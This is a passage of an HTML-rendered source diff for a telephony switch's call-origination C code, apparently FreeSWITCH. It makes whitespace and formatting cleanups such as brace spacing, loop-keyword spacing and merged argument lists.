</span><del>-        handle->status = switch_ivr_originate(NULL, &handle->bleg, &handle->cause,
</del><ins>+        handle->status = switch_ivr_originate(NULL, &handle->bleg, &handle->cause,
</ins><span class="cx">                                                                                  handle->bridgeto, handle->timelimit_sec,
</span><span class="cx">                                                                                  handle->table,
</span><span class="cx">                                                                                  handle->cid_name_override,
</span><del>-                                                                                 handle->cid_num_override,
-                                                                                 handle->caller_profile_override,
-                                                                                 handle->ovars,
-                                                                                 handle->flags,
-                                                                                 &handle->cancel_cause
-                                                                                 );
</del><ins>+                                                                                 handle->cid_num_override, handle->caller_profile_override, handle->ovars, handle->flags, &handle->cancel_cause);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         handle->done = 1;
</span><span class="cx">         switch_mutex_lock(handle->mutex);
</span><span class="cx">         switch_mutex_unlock(handle->mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (handle->done != 2) {
</span><span class="cx">                 if (handle->status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_channel_hangup(switch_core_session_get_channel(handle->bleg), SWITCH_CAUSE_LOSE_RACE);
</span><span class="lines">@@ -1235,8 +1215,8 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="cx">         switch_core_session_read_lock(session);
</span><del>-        
-        while(rb_data->running && switch_channel_ready(channel)) {
</del><ins>+
+        while (rb_data->running && switch_channel_ready(channel)) {
</ins><span class="cx">                 if (status != SWITCH_STATUS_BREAK) {
</span><span class="cx">                         if (zstr(rb_data->ringback_data) || !strcasecmp(rb_data->ringback_data, "silence")) {
</span><span class="cx">                                 status = switch_ivr_collect_digits_callback(session, NULL, 0, 0);
</span><span class="lines">@@ -1266,14 +1246,12 @@
</span><span class="cx">                                                                                                                                 const switch_state_handler_table_t *table,
</span><span class="cx">                                                                                                                                 const char *cid_name_override,
</span><span class="cx">                                                                                                                                 const char *cid_num_override,
</span><del>-                                                                                                                                switch_caller_profile_t *caller_profile_override,
-                                                                                                                                switch_event_t *ovars,
-                                                                                                                                switch_originate_flag_t flags
-                                                                                                                                )
</del><ins>+                                                                                                                                switch_caller_profile_t *caller_profile_override,
+                                                                                                                                switch_event_t *ovars, switch_originate_flag_t flags)
</ins><span class="cx"> {
</span><span class="cx">         int x_argc = 0;
</span><span class="cx">         char *x_argv[MAX_PEERS] = { 0 };
</span><del>-        enterprise_originate_handle_t *hp = NULL, handles[MAX_PEERS] = { { 0 } };
</del><ins>+        enterprise_originate_handle_t *hp = NULL, handles[MAX_PEERS] = { {0} };
</ins><span class="cx">         int i;
</span><span class="cx">         switch_caller_profile_t *cp = NULL;
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><span class="lines">@@ -1327,7 +1305,8 @@
</span><span class="cx">                         }
</span><span class="cx">                         /* swallow the opening bracket */
</span><span class="cx">                         while ((data + k) && *(data + k)) {
</span><del>-                                j = k; k++;
</del><ins>+                                j = k;
+                                k++;
</ins><span class="cx">                                 /* note that this affects vars[] */
</span><span class="cx">                                 data[j] = data[k];
</span><span class="cx">                         }
</span><span class="lines">@@ -1336,8 +1315,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 var_block_count++;
</span><span class="cx">                 continue;
</span><del>-
-        var_extract_error:
</del><ins>+
+         var_extract_error:
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Parse Error!\n");
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, done);
</span><span class="cx">         }
</span><span class="lines">@@ -1417,7 +1396,7 @@
</span><span class="cx">         switch_threadattr_create(&thd_attr, pool);
</span><span class="cx">         switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><span class="cx">
</span><del>-        for(i = 0; i < x_argc; i++) {
</del><ins>+        for (i = 0; i < x_argc; i++) {
</ins><span class="cx">                 handles[i].session = session;
</span><span class="cx">                 handles[i].bleg = NULL;
</span><span class="cx">                 handles[i].cause = 0;
</span><span class="lines">@@ -1428,18 +1407,18 @@
</span><span class="cx">                 handles[i].cid_name_override = cid_name_override;
</span><span class="cx">                 handles[i].cid_num_override = cid_num_override;
</span><span class="cx">                 handles[i].caller_profile_override = cp;
</span><del>-                switch_event_dup(&handles[i].ovars, var_event);                
</del><ins>+                switch_event_dup(&handles[i].ovars, var_event);
</ins><span class="cx">                 handles[i].flags = flags;
</span><span class="cx">                 switch_mutex_init(&handles[i].mutex, SWITCH_MUTEX_NESTED, pool);
</span><span class="cx">                 switch_mutex_lock(handles[i].mutex);
</span><span class="cx">                 switch_thread_create(&handles[i].thread, thd_attr, enterprise_originate_thread, &handles[i], pool);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (channel && !switch_channel_test_flag(channel, CF_PROXY_MODE) && !switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">                 if (switch_channel_test_flag(channel, CF_ANSWERED)) {
</span><span class="cx">                         ringback_data = switch_channel_get_variable(channel, "transfer_ringback");
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ringback_data) {
</span><span class="cx">                         ringback_data = switch_channel_get_variable(channel, "ringback");
</span><span class="cx">                 }
</span><span class="lines">@@ -1458,15 +1437,15 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><del>-        for(;;) {
</del><ins>+        for (;;) {
</ins><span class="cx">                 running = 0;
</span><span class="cx">                 over = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel && !switch_channel_ready(channel)) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                for(i = 0; i < x_argc; i++) {
</del><ins>+                for (i = 0; i < x_argc; i++) {
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">                         if (handles[i].done == 0) {
</span><span class="lines">@@ -1490,10 +1469,10 @@
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><del>- done:
</del><span class="cx">
</span><ins>+ done:
+
</ins><span class="cx">         if (hp) {
</span><span class="cx">                 *cause = hp->cause;
</span><span class="cx">                 status = hp->status;
</span><span class="lines">@@ -1503,14 +1482,14 @@
</span><span class="cx">                 switch_event_destroy(&hp->ovars);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        for(i = 0; i < x_argc; i++) {
</del><ins>+        for (i = 0; i < x_argc; i++) {
</ins><span class="cx">                 if (hp == &handles[i]) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx">                 handles[i].cancel_cause = SWITCH_CAUSE_LOSE_RACE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        for(i = 0; i < x_argc; i++) {
</del><ins>+        for (i = 0; i < x_argc; i++) {
</ins><span class="cx">                 if (hp == &handles[i]) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="lines">@@ -1518,8 +1497,8 @@
</span><span class="cx">                 switch_thread_join(&tstatus, handles[i].thread);
</span><span class="cx">                 switch_event_destroy(&handles[i].ovars);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (channel && rb_data.thread) {
</span><span class="cx">                 switch_channel_set_flag(channel, CF_NOT_READY);
</span><span class="cx">                 switch_thread_join(&tstatus, rb_data.thread);
</span><span class="lines">@@ -1527,7 +1506,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (var_event && var_event != ovars) {
</span><span class="cx">                 switch_event_destroy(&var_event);
</span><span class="lines">@@ -1552,29 +1531,29 @@
</span><span class="cx"> static void *SWITCH_THREAD_FUNC early_thread_run(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="cx">         early_state_t *state = (early_state_t *) obj;
</span><del>-        originate_status_t originate_status[MAX_PEERS] = { { 0 }};
-        int16_t mux_data[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = { 0 };
</del><ins>+        originate_status_t originate_status[MAX_PEERS] = { {0} };
+        int16_t mux_data[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
</ins><span class="cx">         int32_t sample;
</span><span class="cx">         switch_core_session_t *session;
</span><del>-        switch_codec_t *read_codec, read_codecs[MAX_PEERS] = { { 0 } };
</del><ins>+        switch_codec_t *read_codec, read_codecs[MAX_PEERS] = { {0} };
</ins><span class="cx">         int i, x, ready = 0, answered = 0;
</span><span class="cx">         int16_t *data;
</span><span class="cx">         uint32_t datalen = 0;
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_frame_t *read_frame;
</span><del>-        
-        for(i = 0; i < MAX_PEERS && (session = state->originate_status[i].peer_session); i++) {
</del><ins>+
+        for (i = 0; i < MAX_PEERS && (session = state->originate_status[i].peer_session); i++) {
</ins><span class="cx">                 originate_status[i].peer_session = session;
</span><span class="cx">                 switch_core_session_read_lock(session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (state->ready) {
</span><span class="cx">                 datalen = 0;
</span><span class="cx">                 memset(mux_data, 0, sizeof(mux_data));
</span><span class="cx">                 ready = 0;
</span><span class="cx">                 answered = 0;
</span><span class="cx">
</span><del>-                for(i = 0; i < MAX_PEERS && (session = originate_status[i].peer_session); i++) {
</del><ins>+                for (i = 0; i < MAX_PEERS && (session = originate_status[i].peer_session); i++) {
</ins><span class="cx">                         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                         if (switch_channel_media_ready(channel)) {
</span><span class="cx">                                 ready++;
</span><span class="lines">@@ -1582,10 +1561,10 @@
</span><span class="cx">                                 if (switch_channel_test_flag(channel, CF_ANSWERED)) {
</span><span class="cx">                                         answered++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!switch_core_codec_ready((&read_codecs[i]))) {
</span><span class="cx">                                         read_codec = switch_core_session_get_read_codec(session);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_core_codec_init(&read_codecs[i],
</span><span class="cx">                                                                                          "L16",
</span><span class="cx">                                                                                          NULL,
</span><span class="lines">@@ -1604,12 +1583,12 @@
</span><span class="cx">                                         if (datalen < read_frame->datalen) {
</span><span class="cx">                                                 datalen = read_frame->datalen;
</span><span class="cx">                                         }
</span><del>-                                        for (x = 0; x < (int)read_frame->datalen / 2; x++) {
</del><ins>+                                        for (x = 0; x < (int) read_frame->datalen / 2; x++) {
</ins><span class="cx">                                                 sample = data[x] + mux_data[x];
</span><span class="cx">                                                 switch_normalize_to_16bit(sample);
</span><del>-                                                mux_data[x] = (int16_t)sample;
</del><ins>+                                                mux_data[x] = (int16_t) sample;
</ins><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -1618,14 +1597,14 @@
</span><span class="cx">                         switch_buffer_write(state->buffer, mux_data, datalen);
</span><span class="cx">                         switch_mutex_unlock(state->mutex);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!ready || answered) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><del>-        for(i = 0; i < MAX_PEERS && (session = originate_status[i].peer_session); i++) {
</del><ins>+        for (i = 0; i < MAX_PEERS && (session = originate_status[i].peer_session); i++) {
</ins><span class="cx">                 if (switch_core_codec_ready((&read_codecs[i]))) {
</span><span class="cx">                         switch_core_codec_destroy(&read_codecs[i]);
</span><span class="cx">                 }
</span><span class="lines">@@ -1653,13 +1632,10 @@
</span><span class="cx">                                                                                                          const switch_state_handler_table_t *table,
</span><span class="cx">                                                                                                          const char *cid_name_override,
</span><span class="cx">                                                                                                          const char *cid_num_override,
</span><del>-                                                                                                         switch_caller_profile_t *caller_profile_override,
-                                                                                                         switch_event_t *ovars,
-                                                                                                         switch_originate_flag_t flags,
-                                                                                                         switch_call_cause_t *cancel_cause
-                                                                                                         )
</del><ins>+                                                                                                         switch_caller_profile_t *caller_profile_override,
+                                                                                                         switch_event_t *ovars, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><del>-        originate_status_t originate_status[MAX_PEERS] = { { 0 } };
</del><ins>+        originate_status_t originate_status[MAX_PEERS] = { {0} };
</ins><span class="cx">         switch_originate_flag_t dftflags = SOF_NONE, myflags = dftflags;
</span><span class="cx">         char *pipe_names[MAX_PEERS] = { 0 };
</span><span class="cx">         char *data = NULL;
</span><span class="lines">@@ -1703,7 +1679,7 @@
</span><span class="cx">
</span><span class="cx">         if (strstr(bridgeto, SWITCH_ENT_ORIGINATE_DELIM)) {
</span><span class="cx">                 return switch_ivr_enterprise_originate(session, bleg, cause, bridgeto, timelimit_sec, table, cid_name_override, cid_num_override,
</span><del>-                                                                                 caller_profile_override, ovars, flags);
</del><ins>+                                                                                         caller_profile_override, ovars, flags);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         oglobals.ringback_ok = 1;
</span><span class="lines">@@ -1743,7 +1719,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) && switch_channel_media_ready(caller_channel)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                          "Channel is already up, delaying proxy mode 'till both legs are answered.\n");
</span><span class="cx">                         switch_channel_set_variable(caller_channel, "bypass_media_after_bridge", "true");
</span><span class="cx">                         switch_channel_set_variable(caller_channel, SWITCH_BYPASS_MEDIA_VARIABLE, NULL);
</span><span class="lines">@@ -1752,19 +1728,18 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) && switch_channel_media_ready(caller_channel)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
-                                                         "Channel is already up, proxy media cannot be used anymore\n");
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Channel is already up, proxy media cannot be used anymore\n");
</ins><span class="cx">                         switch_channel_set_variable(caller_channel, SWITCH_PROXY_MEDIA_VARIABLE, NULL);
</span><span class="cx">                         switch_channel_clear_flag(caller_channel, CF_PROXY_MEDIA);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (timelimit_sec <= 0) {
</span><span class="cx">                 timelimit_sec = 60;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         oglobals.idx = IDX_NADA;
</span><span class="cx">         oglobals.early_ok = 1;
</span><span class="cx">
</span><span class="lines">@@ -1809,7 +1784,8 @@
</span><span class="cx">                         }
</span><span class="cx">                         /* swallow the opening bracket */
</span><span class="cx">                         while ((data + k) && *(data + k)) {
</span><del>-                                j = k; k++;
</del><ins>+                                j = k;
+                                k++;
</ins><span class="cx">                                 /* note that this affects vars[] */
</span><span class="cx">                                 data[j] = data[k];
</span><span class="cx">                         }
</span><span class="lines">@@ -1818,8 +1794,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 var_block_count++;
</span><span class="cx">                 continue;
</span><del>-
-        var_extract_error:
</del><ins>+
+         var_extract_error:
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Parse Error!\n");
</span><span class="cx">                 status = SWITCH_STATUS_GENERR;
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -1839,7 +1815,7 @@
</span><span class="cx">         /* Some channel are created from an originating channel and some aren't so not all outgoing calls have a way to get params
</span><span class="cx">          so we will normalize dialstring params and channel variables (when there is an originator) into an event that we
</span><span class="cx">          will use as a pseudo hash to consult for params as needed.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">
</span><span class="cx">         if (ovars) {
</span><span class="cx">                 var_event = ovars;
</span><span class="lines">@@ -1905,8 +1881,8 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 /* Copy all the missing applicable channel variables from A-leg into the event */
</span><span class="cx">                 if ((hi = switch_channel_variable_first(caller_channel))) {
</span><span class="cx">                         for (; hi; hi = hi->next) {
</span><span class="lines">@@ -1952,16 +1928,16 @@
</span><span class="cx">                         switch_channel_variable_last(caller_channel);
</span><span class="cx">                 }
</span><span class="cx">                 /*
</span><del>-                 if ((hi = switch_channel_variable_first(caller_channel))) {
-                 for (; hi; hi = switch_hash_next(hi)) {
-                 switch_hash_this(hi, &vvar, NULL, &vval);
-                 if (vvar && vval) {
-                 switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, (void *) vvar, (char *) vval);
-                 }
-                 }
-                 switch_channel_variable_last(caller_channel);
-                 }
-                */
</del><ins>+                 if ((hi = switch_channel_variable_first(caller_channel))) {
+                 for (; hi; hi = switch_hash_next(hi)) {
+                 switch_hash_this(hi, &vvar, NULL, &vval);
+                 if (vvar && vval) {
+                 switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, (void *) vvar, (char *) vval);
+                 }
+                 }
+                 switch_channel_variable_last(caller_channel);
+                 }
+                 */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (caller_channel) {                /* ringback is only useful when there is an originator */
</span><span class="lines">@@ -1982,7 +1958,7 @@
</span><span class="cx">                         ringback_data = NULL;
</span><span class="cx">                 } else if (zstr(ringback_data)) {
</span><span class="cx">                         const char *vvar;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((vvar = switch_channel_get_variable(caller_channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE))) {
</span><span class="cx">                                 int sval = atoi(vvar);
</span><span class="cx">
</span><span class="lines">@@ -1993,7 +1969,6 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if 0
</span><span class="cx">         /* changing behaviour ignore_early_media=true must also be explicitly set for previous behaviour */
</span><span class="cx">         if (ringback_data) {
</span><span class="lines">@@ -2015,7 +1990,7 @@
</span><span class="cx">          rejections should terminate the attempt rather than a timeout, answer, or rejection by all.
</span><span class="cx">          If the value is set to 'true' any fail cause will end the attempt otherwise it can contain a comma (,) separated
</span><span class="cx">          list of cause names which should be considered fatal
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">         if ((var = switch_event_get_header(var_event, "fail_on_single_reject")) && switch_true(var)) {
</span><span class="cx">                 fail_on_single_reject_var = strdup(var);
</span><span class="cx">                 fail_on_single_reject = 1;
</span><span class="lines">@@ -2150,12 +2125,12 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Only calling the first element in the list in this mode.\n");
</span><span class="cx">                         or_argc = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (r = 0; r < or_argc; r++) {
</span><span class="cx">                         char *p, *end = NULL;
</span><span class="cx">                         const char *var_begin, *var_end;
</span><span class="cx">                         oglobals.hups = 0;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         reason = SWITCH_CAUSE_NONE;
</span><span class="cx">                         memset(peer_names, 0, sizeof(peer_names));
</span><span class="cx">                         peer_session = NULL;
</span><span class="lines">@@ -2174,9 +2149,10 @@
</span><span class="cx">                         oglobals.sent_ring = 0;
</span><span class="cx">                         oglobals.progress = 0;
</span><span class="cx">                         myflags = dftflags;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (try > 0) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Originate attempt %d/%d in %d ms\n", try + 1, retries, sleep_ms);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Originate attempt %d/%d in %d ms\n", try + 1, retries,
+                                                                 sleep_ms);
</ins><span class="cx">                                 if (caller_channel) {
</span><span class="cx">                                         switch_ivr_sleep(oglobals.session, sleep_ms, SWITCH_TRUE, NULL);
</span><span class="cx">                                         if (!switch_channel_ready(caller_channel)) {
</span><span class="lines">@@ -2187,9 +2163,9 @@
</span><span class="cx">                                         switch_yield(sleep_ms * 1000);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         p = pipe_names[r];
</span><del>-                        while(p && *p) {
</del><ins>+                        while (p && *p) {
</ins><span class="cx">                                 if (*p == '[') {
</span><span class="cx">                                         end = switch_find_end_paren(p, '[', ']');
</span><span class="cx">                                 }
</span><span class="lines">@@ -2204,7 +2180,7 @@
</span><span class="cx">
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         and_argc = switch_separate_string(pipe_names[r], ',', peer_names, (sizeof(peer_names) / sizeof(peer_names[0])));
</span><span class="cx">
</span><span class="cx">                         if ((flags & SOF_NOBLOCK) && and_argc > 1) {
</span><span class="lines">@@ -2250,11 +2226,11 @@
</span><span class="cx">                                         new_profile->uuid = SWITCH_BLANK_STRING;
</span><span class="cx">                                         new_profile->chan_name = SWITCH_BLANK_STRING;
</span><span class="cx">                                         new_profile->destination_number = switch_core_strdup(new_profile->pool, chan_data);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_channel_direction(caller_channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                                                 const char *callee_id_name = new_profile->callee_id_name;
</span><span class="cx">                                                 const char *callee_id_number = new_profile->callee_id_number;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (zstr(callee_id_number)) {
</span><span class="cx">                                                         callee_id_number = new_profile->destination_number;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2262,7 +2238,7 @@
</span><span class="cx">                                                 if (zstr(callee_id_name)) {
</span><span class="cx">                                                         callee_id_name = callee_id_number;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 new_profile->caller_id_name = callee_id_name;
</span><span class="cx">                                                 new_profile->caller_id_number = callee_id_number;
</span><span class="cx">                                                 new_profile->callee_id_name = SWITCH_BLANK_STRING;
</span><span class="lines">@@ -2313,7 +2289,7 @@
</span><span class="cx">                                                 myflags |= SOF_FORKED_DIAL;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* only valid in [] since it's unique to each channel leg */
</span><span class="cx">
</span><span class="cx">                                 if (vdata && (var_begin = switch_stristr("origination_uuid=", vdata))) {
</span><span class="lines">@@ -2322,7 +2298,7 @@
</span><span class="cx">                                         var_end = strchr(var_begin, '|');
</span><span class="cx">
</span><span class="cx">                                         if (var_end) {
</span><del>-                                                strncpy(tmp, var_begin, var_end-var_begin);
</del><ins>+                                                strncpy(tmp, var_begin, var_end - var_begin);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 strncpy(tmp, var_begin, strlen(var_begin));
</span><span class="cx">                                         }
</span><span class="lines">@@ -2333,63 +2309,63 @@
</span><span class="cx">                                 /* The rest are valid in both {} and [] with [] taking precedence */
</span><span class="cx">
</span><span class="cx">                                 current_variable = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (vdata && (var_begin = switch_stristr("origination_caller_id_number=", vdata))) {
</span><span class="cx">                                         var_begin += strlen("origination_caller_id_number=");
</span><span class="cx">                                         var_end = strchr(var_begin, '|');
</span><span class="cx">
</span><span class="cx">                                         if (var_end) {
</span><del>-                                                strncpy(variable_buffer, var_begin, var_end-var_begin);
</del><ins>+                                                strncpy(variable_buffer, var_begin, var_end - var_begin);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 strncpy(variable_buffer, var_begin, strlen(var_begin));
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         current_variable = variable_buffer;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_caller_id_number"))) {
</span><span class="cx">                                         new_profile->caller_id_number = switch_core_strdup(new_profile->pool, current_variable);
</span><span class="cx">                                         myflags |= SOF_NO_EFFECTIVE_CID_NUM;
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 current_variable = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (vdata && (var_begin = switch_stristr("origination_caller_id_name=", vdata))) {
</span><span class="cx">                                         var_begin += strlen("origination_caller_id_name=");
</span><span class="cx">                                         var_end = strchr(var_begin, '|');
</span><span class="cx">
</span><span class="cx">                                         if (var_end) {
</span><del>-                                                strncpy(variable_buffer, var_begin, var_end-var_begin);
</del><ins>+                                                strncpy(variable_buffer, var_begin, var_end - var_begin);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 strncpy(variable_buffer, var_begin, strlen(var_begin));
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         current_variable = variable_buffer;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_caller_id_name"))) {
</span><span class="cx">                                         new_profile->caller_id_name = switch_core_strdup(new_profile->pool, current_variable);
</span><span class="cx">                                         myflags |= SOF_NO_EFFECTIVE_CID_NAME;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 current_variable = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (vdata && (var_begin = switch_stristr("origination_privacy=", vdata))) {
</span><span class="cx">                                         var_begin += strlen("origination_privacy=");
</span><span class="cx">                                         var_end = strchr(var_begin, '|');
</span><span class="cx">
</span><span class="cx">                                         if (var_end) {
</span><del>-                                                strncpy(variable_buffer, var_begin, var_end-var_begin);
</del><ins>+                                                strncpy(variable_buffer, var_begin, var_end - var_begin);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 strncpy(variable_buffer, var_begin, strlen(var_begin));
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         current_variable = variable_buffer;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_privacy"))) {
</span><span class="cx">                                         new_profile->flags = SWITCH_CPF_NONE;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (switch_stristr("screen", current_variable)) {
</span><span class="cx">                                                 switch_set_flag(new_profile, SWITCH_CPF_SCREEN);
</span><span class="cx">                                         }
</span><span class="lines">@@ -2406,11 +2382,11 @@
</span><span class="cx">                                 current_variable = NULL;
</span><span class="cx">                                 switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, "originate_early_media", oglobals.early_ok ? "true" : "false");
</span><span class="cx">
</span><del>-                                if ((reason = switch_core_session_outgoing_channel(oglobals.session, var_event, chan_type,
</del><ins>+                                if ((reason = switch_core_session_outgoing_channel(oglobals.session, var_event, chan_type,
</ins><span class="cx">                                                                                                                                  new_profile, &new_session, &pool, myflags, cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot create outgoing channel of type [%s] cause: [%s]\n",
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot create outgoing channel of type [%s] cause: [%s]\n",
</ins><span class="cx">                                                                          chan_type, switch_channel_cause2str(reason));
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (pool) {
</span><span class="cx">                                                 switch_core_destroy_memory_pool(&pool);
</span><span class="cx">                                         }
</span><span class="lines">@@ -2498,16 +2474,16 @@
</span><span class="cx">                                         if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, "leg_timeout"))) {
</span><span class="cx">                                                 int val = atoi(vvar);
</span><span class="cx">                                                 if (val > 0) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg timeout to %d\n",
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg timeout to %d\n",
</ins><span class="cx">                                                                                          switch_channel_get_name(originate_status[i].peer_channel), val);
</span><span class="cx">                                                         originate_status[i].per_channel_timelimit_sec = (uint32_t) val;
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((vvar = switch_channel_get_variable(originate_status[i].peer_channel, "leg_progress_timeout"))) {
</span><span class="cx">                                                 int val = atoi(vvar);
</span><span class="cx">                                                 if (val > 0) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg progress timeout to %d\n",
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Setting leg progress timeout to %d\n",
</ins><span class="cx">                                                                                          switch_channel_get_name(originate_status[i].peer_channel), val);
</span><span class="cx">                                                         originate_status[i].per_channel_progress_timelimit_sec = (uint32_t) val;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2516,7 +2492,7 @@
